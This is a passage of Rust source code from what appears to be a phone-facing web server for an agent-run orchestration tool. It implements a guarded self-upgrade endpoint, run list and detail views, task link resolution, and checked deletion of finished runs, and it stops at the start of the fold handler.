2568async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2569    let reading = daemon::read_status(&ui.home);
2570    if let Some(other) = Foreign::of(reading.as_ref()) {
2571        return Err(ApiError::conflict(format!(
2572            "the loop belongs to {}, so replacing this binary would leave \
2573             that process running an old one against the same queue. Upgrade \
2574             where it was started.",
2575            other.who()
2576        )));
2577    }
2578
2579    // A second upgrade while one is moving would replace the binary and
2580    // signal the handover again after `serve` already consumed the first
2581    // signal, leaving the process in `replaced` forever. Try-lock rather than
2582    // wait: a phone connection must not hang behind a GitHub round trip.
2583    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2584        return Err(ApiError::conflict(
2585            "another request is already preparing an upgrade",
2586        ));
2587    };
2588    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2589        return Err(ApiError::conflict(
2590            "an upgrade is already in progress (this process started one and it \
2591             has not finished or failed yet)",
2592        ));
2593    }
2594    let recorded = updater::read_progress(&ui.home);
2595    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2596        return Err(ApiError::conflict(format!(
2597            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2598             stays stuck, restart the deck; on start it settles a stale record.",
2599            p.stage.as_str(),
2600            p.from,
2601            p.to.as_deref().unwrap_or("?"),
2602        )));
2603    }
2604
2605    // The same kill switch the background check honours (`disabled_by_env`),
2606    // checked before anything else for the same reason it is read before the
2607    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2608    // contact GitHub from this process", and a button press must not
2609    // override that any more than a broken `magi.toml` may.
2610    if crate::updater::disabled_by_env() {
2611        return Ok((
2612            StatusCode::OK,
2613            Json(UpgradeView {
2614                from: env!("CARGO_PKG_VERSION").to_owned(),
2615                to: None,
2616                parked: None,
2617                detail: format!(
2618                    "Automatic updates are disabled by {}. Nothing was parked \
2619                     and nothing restarted.",
2620                    crate::updater::NO_AUTOUPDATE_ENV
2621                ),
2622            }),
2623        ));
2624    }
2625
2626    // Asked before anything is disturbed. Restarting when there is nothing
2627    // to install is not a harmless no-op: it parks the run in flight and
2628    // drops every connection to pay for an upgrade that did not happen. A
2629    // probe against a deck already on the newest build did exactly that.
2630    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2631    let from = env!("CARGO_PKG_VERSION").to_owned();
2632    let latest = match crate::updater::Checker::new(&cfg.update) {
2633        Some(checker) => checker
2634            .newer_release()
2635            .await
2636            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2637        None => None,
2638    };
2639    let Some(latest) = latest else {
2640        return Ok((
2641            StatusCode::OK,
2642            Json(UpgradeView {
2643                from,
2644                to: None,
2645                parked: None,
2646                detail: "Already on the newest release. Nothing was parked \
2647                         and nothing restarted."
2648                    .to_owned(),
2649            }),
2650        ));
2651    };
2652
2653    // Parked before anything is replaced: a successor that came up while a
2654    // run was mid-node would find a run nobody is driving.
2655    let parked = ui.park_for_upgrade()?;
2656    let detail = match &parked {
2657        // Honest about the wait. A park takes effect at the *next* node
2658        // boundary, so a run mid-implement finishes that wave first - up to
2659        // `timeout_implement`, an hour by default. Saying "restarting now"
2660        // would make the deck look wedged for the rest of it.
2661        Some(run) => format!(
2662            "Run {} is parking at its next step, which can take as long as \
2663             the step it is on - up to an hour for an implement wave. The \
2664             deck replaces itself once it parks, comes back, and the loop \
2665             carries that run on from where it stopped. Nothing is lost if \
2666             you close this.",
2667            crate::run::short_of(run)
2668        ),
2669        None => "The deck replaces itself and comes back. Nothing was in \
2670                 flight to park."
2671            .to_owned(),
2672    };
2673
2674    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2675    // poll must see a `Downloading` stage immediately, not whenever the
2676    // spawned task happens to get scheduled.
2677    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2678    progress.parked_run = parked.clone();
2679    // A failed write is logged, not returned: the loop is already parked
2680    // above, and bailing out here would leave it parked with no upgrade
2681    // spawned to hand over or resume it.
2682    updater::write_progress_logged(&ui.home, &progress);
2683
2684    let home = ui.home.clone();
2685    let looping = ui.looping();
2686    ui.upgrade_spawned
2687        .store(true, std::sync::atomic::Ordering::SeqCst);
2688    let spawned = Arc::clone(&ui.upgrade_spawned);
2689    tokio::spawn(async move {
2690        if let Err(e) = upgrade_and_restart(home.clone()).await {
2691            tracing::error!("the upgrade did not complete: {e:#}");
2692            lock_or_recover(&looping).resume_after_handover = false;
2693            // A failure of this attempt says nothing about a handover an
2694            // earlier request already has in flight; checked and written
2695            // under the progress lock.
2696            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2697            // Released last: until the cleanup above is done, a retry must
2698            // not be able to park and record state this would then undo.
2699            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2700        }
2701    });
2702
2703    Ok((
2704        StatusCode::ACCEPTED,
2705        Json(UpgradeView {
2706            from,
2707            to: Some(latest.tag_name),
2708            parked,
2709            detail,
2710        }),
2711    ))
2712}
2713
2714/// Replace the binary, then ask [`serve`] to hand the address over.
2715///
2716/// Separated from the handler so the 202 is already on its way, and separated
2717/// from the spawn so the successor starts only after the listener is dropped.
2718async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2719    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2720    // hang the upgrade for as long as the process lives.
2721    crate::updater::run_self_update(true, false, true).await?;
2722    updater::log_step(&home, "binary replaced - recording the replaced stage");
2723    if let Some(mut progress) = updater::read_progress(&home) {
2724        progress.advance(updater::Stage::Replaced);
2725        updater::write_progress_logged(&home, &progress);
2726    }
2727    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2728    HANDOVER.notify_one();
2729    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2730    Ok(())
2731}
2732
2733/// One row in the run list.
2734///
2735/// The list route returns this rather than whole `RunState`s: the summary of a
2736/// run is a few hundred bytes and the state is megabytes, and the difference
2737/// is what makes the history usable on a mobile link.
2738#[derive(Debug, Serialize)]
2739struct RunSummary {
2740    id: String,
2741    short: String,
2742    status: String,
2743    done: bool,
2744    instruction: String,
2745    title: String,
2746    repo: String,
2747    repo_name: String,
2748    created_at: String,
2749    updated_at: String,
2750    candidates: usize,
2751    viable: usize,
2752    judges: usize,
2753    winner: Option<char>,
2754    reviews: usize,
2755    quota_losses: usize,
2756    event: Option<String>,
2757    /// The later attempt at the same task that replaced this one, if any.
2758    ///
2759    /// Two cards with one title is otherwise unreadable: this is what lets
2760    /// the deck say "superseded by 4043" on the older of the pair.
2761    superseded_by: Option<String>,
2762    /// Blocked on a question nobody has answered.
2763    ///
2764    /// Derived from the question store rather than stored on the run: an agent
2765    /// calling `magi ask` blocks mid-node, and writing a status from there
2766    /// would race the graph's own save of `run.json` and be overwritten at the
2767    /// next node boundary. Asking the store is always true and never races.
2768    waiting: bool,
2769    /// Whether the process recorded as driving this run can still be proven
2770    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2771    /// rather than presenting its last graph node as still in flight.
2772    live: crate::run::Liveness,
2773    /// The land loop's last look at the pull request, when there is one.
2774    pr: Option<crate::run::PrRecord>,
2775    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2776    /// design — never picked up by the PR-polling merge watcher, unlike an
2777    /// ordinary `Ready` that may still be a live landing candidate. See
2778    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2779    /// re-deriving the same check from `status` and `merge.mode` itself.
2780    unmerged_by_design: bool,
2781    /// Who started the run, as the one label every surface shares; the
2782    /// "origin unknown" wording when the record predates origins.
2783    origin_label: String,
2784}
2785
2786impl RunSummary {
2787    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2788        Self {
2789            id: state.id.clone(),
2790            short: state.short().to_owned(),
2791            status: status_word(state.status),
2792            done: state.status.done(),
2793            unmerged_by_design: state.unmerged_by_design(),
2794            instruction: state.instruction.clone(),
2795            title: title_from(&state.instruction, TITLE_MAX),
2796            repo: state.repo.display().to_string(),
2797            repo_name: state
2798                .repo
2799                .file_name()
2800                .map(|n| n.to_string_lossy().into_owned())
2801                .unwrap_or_default(),
2802            created_at: state.created_at.to_string(),
2803            updated_at: state.updated_at.to_string(),
2804            candidates: state.candidates.len(),
2805            viable: state.viable().len(),
2806            judges: state.config.graph.judges,
2807            winner: state.winner().map(|c| c.label),
2808            reviews: state.reviews.len(),
2809            quota_losses: state.quota.len(),
2810            event: state.events.last().map(|e| e.message.clone()),
2811            waiting,
2812            live,
2813            // Filled in by the list route, which is the only place that can
2814            // see a task's other attempts.
2815            superseded_by: None,
2816            pr: state.pr.clone(),
2817            origin_label: crate::run::origin_label(state.origin.as_ref()),
2818        }
2819    }
2820}
2821
2822/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2823/// the same string `serde` writes for the status inside a full run.
2824fn status_word(status: RunStatus) -> String {
2825    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2826    // was a third way of naming the same statuses, and one that changed
2827    // silently with a derive.
2828    status.as_str().to_owned()
2829}
2830
2831/// `?limit=`, clamped by the handler.
2832#[derive(Debug, Deserialize)]
2833struct ListQuery {
2834    #[serde(default)]
2835    limit: Option<usize>,
2836    /// Exact ids only; an empty value requests no rows (except queue blockers).
2837    ids: Option<String>,
2838}
2839
2840impl ListQuery {
2841    fn contains(&self, id: &str) -> bool {
2842        self.ids
2843            .as_ref()
2844            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2845    }
2846}
2847
2848async fn runs_list(
2849    State(ui): State<Arc<Ui>>,
2850    Query(q): Query<ListQuery>,
2851) -> ApiResult<Json<Vec<RunSummary>>> {
2852    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2853    blocking(move || {
2854        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2855        let states = run_ids(&ui.runs)
2856            .into_iter()
2857            // A run whose state cannot be read is skipped, not fatal: a run
2858            // killed mid-write must not blank the history of every other one.
2859            // The detail route still explains it, which is where an operator
2860            // asking "what happened to that run" ends up.
2861            .filter_map(|id| read_run(&ui.runs, &id).ok())
2862            .take(limit)
2863            .filter(|run| q.contains(&run.id));
2864        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2865        let summaries = summarize(
2866            states,
2867            &open_runs,
2868            &claimed,
2869            &superseded,
2870            |p| probe.borrow_mut().status(p),
2871            |p| probe.borrow_mut().started_at(p),
2872        );
2873        Ok(Json(summaries))
2874    })
2875    .await
2876}
2877
2878/// Everything the per-run rows share, read once: runs with an open question,
2879/// runs a live daemon claims, and the superseded map. Asking per run re-read
2880/// every question file and the daemon status file for each of hundreds of
2881/// runs, and spawned a process probe per run on Windows.
2882fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2883    let open_runs: HashSet<String> = ui
2884        .questions
2885        .list()
2886        .into_iter()
2887        .filter(|q| q.status.open())
2888        .map(|q| q.run)
2889        .collect();
2890    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2891        .into_iter()
2892        .map(|c| c.run)
2893        .collect();
2894    (open_runs, claimed, ui.queue.superseded())
2895}
2896
2897/// The rows of the run list, given everything that is shared between them.
2898///
2899/// Pure over its inputs so a test can count how often the process queries are
2900/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2901/// takes, called at most once per run.
2902fn summarize<I, S, D>(
2903    states: I,
2904    open_runs: &HashSet<String>,
2905    claimed: &HashSet<String>,
2906    superseded: &HashMap<String, String>,
2907    mut status_q: S,
2908    mut identity_q: D,
2909) -> Vec<RunSummary>
2910where
2911    I: IntoIterator<Item = RunState>,
2912    S: FnMut(u32) -> Option<bool>,
2913    D: FnMut(u32) -> Option<String>,
2914{
2915    states
2916        .into_iter()
2917        .map(|state| {
2918            let waiting = open_runs.contains(&state.id);
2919            let live =
2920                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2921            let mut row = RunSummary::of(&state, waiting, live);
2922            row.superseded_by = superseded
2923                .get(&state.id)
2924                .map(String::as_str)
2925                .map(crate::run::short_of)
2926                .map(str::to_owned);
2927            row
2928        })
2929        .collect()
2930}
2931
2932/// A run as the detail route hands it to the phone.
2933///
2934/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2935/// the instruction as markdown, and the raw `instruction` field this struct
2936/// still carries (unchanged) is what a client wanting the exact bytes reads
2937/// instead.
2938#[derive(Debug, Serialize)]
2939struct RunDetailView {
2940    #[serde(flatten)]
2941    state: RunState,
2942    instruction_md: Vec<md::Node>,
2943    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2944    /// mirror the records they come from, index for index; the raw strings
2945    /// stay in `state` and decide whether a block is shown at all.
2946    #[serde(flatten)]
2947    prose_md: RunProseMd,
2948    /// Whether a process is actually still driving this run: `"live"`,
2949    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2950    ///
2951    /// `state.active` (flattened in above) is only ever cleared by the
2952    /// process that populated it; a killed one leaves its last wave's
2953    /// entries behind. Carrying this alongside is what lets the phone rail
2954    /// tell "this seat is still answering" from "this seat was still
2955    /// answering when whatever was driving this run died" without a second
2956    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2957    /// proof of either. A string rather than a bool on purpose: a daemon
2958    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2959    /// and neither proven is `"unknown"` — folding that third case into
2960    /// either end of a bool is exactly the wrong call for a phone screen an
2961    /// operator uses to decide whether to wait or to act.
2962    live: crate::run::Liveness,
2963    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2964    /// alongside the flattened `state` rather than inside it, since
2965    /// `RunState` has no business knowing which of its own methods a caller
2966    /// wants serialized.
2967    unmerged_by_design: bool,
2968    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2969    /// terminal. The client's `landView` keys on it, and the flattened state
2970    /// has no such field, so without it a finished run's stale `open` PR
2971    /// would be painted as live on the detail page.
2972    done: bool,
2973    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2974    /// route fills it from [`Queue::superseded`], the detail route from
2975    /// [`Queue::superseded_by`], and both read the same underlying task
2976    /// order. Without this the detail page could only ever show a red
2977    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2978    /// with nothing anywhere saying so — an operator opening it had no way
2979    /// to tell "this is done elsewhere" from "this still needs a retry".
2980    superseded_by: Option<String>,
2981    /// The task's current attempt, when this run is an older one — resolved
2982    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2983    /// the client to derive.
2984    ///
2985    /// Three things a client cannot safely do on its own drove this onto the
2986    /// server: it has to name the chain's *current head*, not just the next
2987    /// attempt (`superseded_by` above), because an intermediate retry in a
2988    /// longer chain can itself still be unresolved; it has to resolve to a
2989    /// real id rather than a short id a client would have to guess a full id
2990    /// from, which is ambiguous the moment two runs share a suffix; and it
2991    /// has to read that head's own status directly, because whether a run
2992    /// list a client happens to have cached even contains that attempt
2993    /// depends on a page limit this route knows nothing about.
2994    latest_attempt: Option<LatestAttempt>,
2995    /// The queue task this run belongs to, so the detail page can link back
2996    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2997    task: Option<TaskRef>,
2998    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2999    /// run recorded before origins existed. `origin` itself (flattened in
3000    /// with `state`) is `null` in that case.
3001    origin_label: String,
3002}
3003
3004/// A task named from a run's detail page.
3005#[derive(Debug, Serialize)]
3006struct TaskRef {
3007    id: String,
3008    short: String,
3009    title: String,
3010    /// [`Source::label`], e.g. `chat@a1b2`.
3011    source_label: String,
3012    /// Where the task came from, when that place has a page; see [`source_link`].
3013    source_link: Option<SourceLink>,
3014    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3015    status: &'static str,
3016    attempts: usize,
3017    max_attempts: usize,
3018    /// This run is the last entry of the task's run list.
3019    is_latest: bool,
3020    /// The task's newest run, when it is not this one.
3021    latest: Option<RunBrief>,
3022    /// The run that finished a `done` task (merged, or already in the base).
3023    finished_by: Option<RunBrief>,
3024    /// The task is `done` but no run on record finished it: closed by hand.
3025    closed_by_hand: bool,
3026}
3027
3028/// The page that filed a task, as the UI links to it.
3029#[derive(Debug, PartialEq, Eq, Serialize)]
3030struct SourceLink {
3031    /// `chat` (a conversation) or `run` (a run's node).
3032    kind: &'static str,
3033    /// The full id, never the short one in the label.
3034    id: String,
3035    /// The hash route that opens it.
3036    href: String,
3037}
3038
3039/// Percent-encode everything outside the URL-unreserved set.
3040fn encode_segment(raw: &str) -> String {
3041    let mut out = String::with_capacity(raw.len());
3042    for b in raw.bytes() {
3043        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3044            out.push(b as char);
3045        } else {
3046            out.push_str(&format!("%{b:02X}"));
3047        }
3048    }
3049    out
3050}
3051
3052/// The one place that decides where a task's source links to. A chat
3053/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3054/// a person or an imported issue has no page, so no link.
3055fn source_link(source: &Source) -> Option<SourceLink> {
3056    let Source::Agent { run, node } = source else {
3057        return None;
3058    };
3059    let (kind, route) = if node == crate::queue::CHAT_NODE {
3060        ("chat", "chat")
3061    } else {
3062        ("run", "runs")
3063    };
3064    Some(SourceLink {
3065        kind,
3066        id: run.clone(),
3067        href: format!("#/{route}/{}", encode_segment(run)),
3068    })
3069}
3070
3071/// The parent task of a follow-up, when its file can still be read.
3072#[derive(Debug, Serialize, PartialEq)]
3073struct FollowUpParent {
3074    id: String,
3075    short: String,
3076    title: String,
3077    /// The parent's own status (`TaskStatus::as_str`).
3078    status: &'static str,
3079    href: String,
3080}
3081
3082/// The merged run a follow-up was filed from.
3083#[derive(Debug, Serialize, PartialEq)]
3084struct FollowUpRun {
3085    id: String,
3086    short: String,
3087    /// `None` when the run's record cannot be read.
3088    status: Option<&'static str>,
3089    /// `None` unless the record could be read: never a dead link.
3090    href: Option<String>,
3091}
3092
3093/// Where a follow-up task came from, resolved once per task page so the flow
3094/// chart and the detail block cannot disagree. See [`followup_origin`].
3095#[derive(Debug, Serialize, PartialEq)]
3096struct FollowUpOrigin {
3097    /// Present only when `origin_task` is set and that task still exists.
3098    parent: Option<FollowUpParent>,
3099    run: FollowUpRun,
3100    /// The merged pull request, verbatim. Not an href: the client passes it
3101    /// through `forgeUrl()` and renders text when that refuses it (the one
3102    /// exception to "the href rule is Rust's alone", since a forge URL is
3103    /// data from a record, not a route).
3104    pr: String,
3105    findings: Vec<String>,
3106    generation: u32,
3107}
3108
3109/// The one place that decides what a follow-up links to. A parent that cannot
3110/// be read (gone, or an id that names nothing) is `None`, never an error.
3111fn followup_origin(
3112    fu: &crate::queue::FollowUp,
3113    task: impl Fn(&str) -> Option<Task>,
3114    run: impl Fn(&str) -> Option<RunState>,
3115) -> FollowUpOrigin {
3116    let parent = fu
3117        .origin_task
3118        .as_deref()
3119        .and_then(task)
3120        .map(|t| FollowUpParent {
3121            short: t.short().to_owned(),
3122            href: format!("#/tasks/{}", encode_segment(&t.id)),
3123            status: t.status.as_str(),
3124            title: t.title,
3125            id: t.id,
3126        });
3127    let state = run(&fu.run);
3128    FollowUpOrigin {
3129        parent,
3130        run: FollowUpRun {
3131            short: run::short_of(&fu.run).to_owned(),
3132            status: state.as_ref().map(|s| s.status.as_str()),
3133            href: state
3134                .is_some()
3135                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3136            id: fu.run.clone(),
3137        },
3138        pr: fu.pr.clone(),
3139        findings: fu.findings.clone(),
3140        generation: fu.generation,
3141    }
3142}
3143
3144/// Another run of the same task, as named from a run's detail page.
3145#[derive(Debug, Serialize)]
3146struct RunBrief {
3147    id: String,
3148    short: String,
3149    /// `None` when the run's record cannot be read.
3150    status: Option<&'static str>,
3151    /// The task-page wording for how that pass ended.
3152    outcome: String,
3153}
3154
3155/// The task's overall outcome as seen from `this_run`'s page, classified with
3156/// the same exits the task page's flowchart uses.
3157fn task_outcome(
3158    task: &Task,
3159    this_run: &str,
3160    max_attempts: usize,
3161    read: impl Fn(&str) -> Option<RunState>,
3162) -> TaskRef {
3163    let history = task_history(task, read);
3164    let brief = |h: &TaskRunView| RunBrief {
3165        id: h.id.clone(),
3166        short: h.short.clone(),
3167        status: h.status,
3168        outcome: h.exit.edge_label(h.status),
3169    };
3170    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3171    let latest = if is_latest {
3172        None
3173    } else {
3174        history.last().map(brief)
3175    };
3176    let done = task.status == TaskStatus::Done;
3177    let finished_by = done
3178        .then(|| {
3179            history
3180                .iter()
3181                .rev()
3182                .find(|h| {
3183                    matches!(
3184                        h.exit,
3185                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3186                    )
3187                })
3188                .map(brief)
3189        })
3190        .flatten();
3191    TaskRef {
3192        short: task.short().to_owned(),
3193        title: task.title.clone(),
3194        id: task.id.clone(),
3195        source_label: task.source.label(),
3196        source_link: source_link(&task.source),
3197        status: task.status.as_str(),
3198        attempts: task.attempts,
3199        max_attempts,
3200        is_latest,
3201        latest,
3202        closed_by_hand: done && finished_by.is_none(),
3203        finished_by,
3204    }
3205}
3206
3207/// The task's current attempt, as seen from an older one's detail page.
3208#[derive(Debug, Serialize)]
3209struct LatestAttempt {
3210    id: String,
3211    short: String,
3212    /// Whether this attempt itself settled with a result nobody needs to
3213    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3214    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3215    /// unconfirmed claim that no change was needed, which is exactly why it
3216    /// settles the task through `Held` rather than `Done` and still waits on
3217    /// a human to check the evidence; showing an older run as "finished
3218    /// elsewhere" on the strength of an unverified claim would bury the
3219    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3220    /// in-flight status are excluded because they are exactly the
3221    /// unresolved states this field exists to tell apart from a real finish.
3222    resolved: bool,
3223    /// The attempt's own recorded status, so the page can say where it
3224    /// stands while it is not resolved yet.
3225    status: RunStatus,
3226    /// Whether that status is terminal (nothing is still running it).
3227    done: bool,
3228}
3229
3230/// Markdown for the free-text prose of a run, parallel to `RunState`.
3231#[derive(Debug, Default, Serialize)]
3232struct RunProseMd {
3233    /// `None` when the run has no design deliberation.
3234    advice_md: Option<AdviceMd>,
3235    /// One entry per candidate: the summary.
3236    candidate_summaries_md: Vec<Vec<md::Node>>,
3237    /// One entry per review round, in `reviews` order.
3238    reviews_md: Vec<RoundMd>,
3239}
3240
3241#[derive(Debug, Default, Serialize)]
3242struct AdviceMd {
3243    synthesis: Vec<md::Node>,
3244    /// One per record; empty for a seat with no proposal.
3245    approaches: Vec<Vec<md::Node>>,
3246}
3247
3248#[derive(Debug, Default, Serialize)]
3249struct RoundMd {
3250    /// One per reviewer record.
3251    reviewers: Vec<ReviewerMd>,
3252    /// One per `reconsideration` entry: the reason.
3253    reconsideration: Vec<Vec<md::Node>>,
3254    fix: Option<FixMd>,
3255}
3256
3257#[derive(Debug, Default, Serialize)]
3258struct ReviewerMd {
3259    summary: Vec<md::Node>,
3260    /// One per finding, in recorded order (not the display order).
3261    findings: Vec<Vec<md::Node>>,
3262}
3263
3264#[derive(Debug, Default, Serialize)]
3265struct FixMd {
3266    notes: Vec<md::Node>,
3267    /// One per rejection: the argument.
3268    rejected: Vec<Vec<md::Node>>,
3269}
3270
3271/// Parse a run's agent-written prose; a pure function of the state.
3272fn run_prose_md(state: &RunState) -> RunProseMd {
3273    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3274    RunProseMd {
3275        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3276            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3277            approaches: a
3278                .records
3279                .iter()
3280                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3281                .collect(),
3282        }),
3283        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3284        reviews_md: state
3285            .reviews
3286            .iter()
3287            .map(|round| RoundMd {
3288                reviewers: round
3289                    .reviews
3290                    .iter()
3291                    .map(|rec| ReviewerMd {
3292                        summary: nodes(&rec.summary),
3293                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3294                    })
3295                    .collect(),
3296                reconsideration: round
3297                    .reconsideration
3298                    .iter()
3299                    .map(|rv| nodes(&rv.reason))
3300                    .collect(),
3301                fix: round.fix.as_ref().map(|fix| FixMd {
3302                    notes: nodes(&fix.notes),
3303                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3304                }),
3305            })
3306            .collect(),
3307    }
3308}
3309
3310impl RunDetailView {
3311    fn of(
3312        state: RunState,
3313        live: crate::run::Liveness,
3314        superseded_by: Option<String>,
3315        latest_attempt: Option<LatestAttempt>,
3316        task: Option<TaskRef>,
3317    ) -> Self {
3318        Self {
3319            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3320            prose_md: run_prose_md(&state),
3321            origin_label: crate::run::origin_label(state.origin.as_ref()),
3322            live,
3323            unmerged_by_design: state.unmerged_by_design(),
3324            done: state.status.done(),
3325            superseded_by,
3326            latest_attempt,
3327            task,
3328            state,
3329        }
3330    }
3331}
3332
3333async fn run_detail(
3334    State(ui): State<Arc<Ui>>,
3335    Path(id): Path<String>,
3336) -> ApiResult<Json<RunDetailView>> {
3337    blocking(move || {
3338        let id = resolve_run(&ui.runs, &id)?;
3339        let state = read_run(&ui.runs, &id)?;
3340        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3341        let live = state.liveness(daemon_claims);
3342        let superseded_by = ui
3343            .queue
3344            .superseded_by(&id)
3345            .as_deref()
3346            .map(crate::run::short_of)
3347            .map(str::to_owned);
3348        // Best-effort: an unreadable head (mid-write, or deleted) just means
3349        // this run's own status stands on its own, same as no later attempt
3350        // existing at all.
3351        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3352            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3353                short: head.short().to_owned(),
3354                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3355                status: head.status,
3356                done: head.status.done(),
3357                id: head.id,
3358            })
3359        });
3360        let max_attempts = daemon::Opts::default().max_attempts;
3361        let task = ui
3362            .queue
3363            .list()
3364            .into_iter()
3365            .find(|t| t.runs.contains(&id))
3366            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3367        Ok(Json(RunDetailView::of(
3368            state,
3369            live,
3370            superseded_by,
3371            latest_attempt,
3372            task,
3373        )))
3374    })
3375    .await
3376}
3377
3378/// `DELETE /api/runs/{id}`.
3379///
3380/// Remove a finished, folded run directory along with its artifacts.
3381/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3382/// deleted. This never touches git worktrees or branches - except for a run
3383/// whose state this build cannot read at all, where there is no candidate
3384/// list to check and the wholesale removal `magi fold` already uses for that
3385/// case is the only meaningful "delete".
3386async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3387    let (id, unreadable) = {
3388        let ui = Arc::clone(&ui);
3389        blocking(move || {
3390            let id = resolve_run(&ui.runs, &id)?;
3391            match read_run(&ui.runs, &id) {
3392                Ok(state) => {
3393                    let in_flight =
3394                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3395                    state
3396                        .ensure_can_delete(in_flight)
3397                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3398                    let dir = ui.runs.join(&id);
3399                    std::fs::remove_dir_all(&dir)
3400                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3401                    Ok((id, false))
3402                }
3403                Err(_) => {
3404                    // Unreadable: there is no candidate list to guard on, so
3405                    // a live daemon's claim is the only thing left to check -
3406                    // the same rule `run_fold` applies for the same reason.
3407                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3408                        return Err(ApiError::conflict(format!(
3409                            "run {id} is being worked on by a live daemon right now"
3410                        )));
3411                    }
3412                    Ok((id, true))
3413                }
3414            }
3415        })
3416        .await?
3417    };
3418    if unreadable {
3419        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3420            .await
3421            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3422    }
3423    let ui = Arc::clone(&ui);
3424    let done = id.clone();
3425    blocking(move || {
3426        // The agent that asked died with the run, so an open question would
3427        // keep asking the operator for a decision nobody can deliver.
3428        ui.questions.abandon_for_run(
3429            &done,
3430            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3431        )?;
3432        Ok(())
3433    })
3434    .await?;
3435    Ok(StatusCode::NO_CONTENT)
3436}
3437
3438/// `POST /api/runs/{id}/fold`.
3439///
3440/// Remove a run's candidate worktrees and branches, keeping its record.
3441///
3442/// This exists because the deck answered "delete this run" with *"Candidates
3443/// must be folded before deleting. Run `magi fold` first."* — a phone being
3444/// told to open a terminal, in the one product whose point is that it does
3445/// not need one. The runs an operator most wants gone are the stalled and
3446/// blocked ones, and those are exactly the runs still holding worktrees:
3447/// three of them here held 53 GB.
3448///
3449/// The winner's tree goes too. A fold is what someone asks for when they are
3450/// finished with a run, and leaving one tree behind would leave the delete
3451/// button disabled for the same reason as before.
3452///
3453/// Refused while a live daemon is working on the run, on the rule that guards
3454/// deletion: folding underneath a running agent would pull the tree it is
3455/// editing out from under it.
3456///
3457/// A run whose state this build cannot read at all falls back to
3458/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3459/// selectively, so the whole record's worktree goes wholesale, exactly what
3460/// `magi fold` does on the command line for the same run.
3461async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
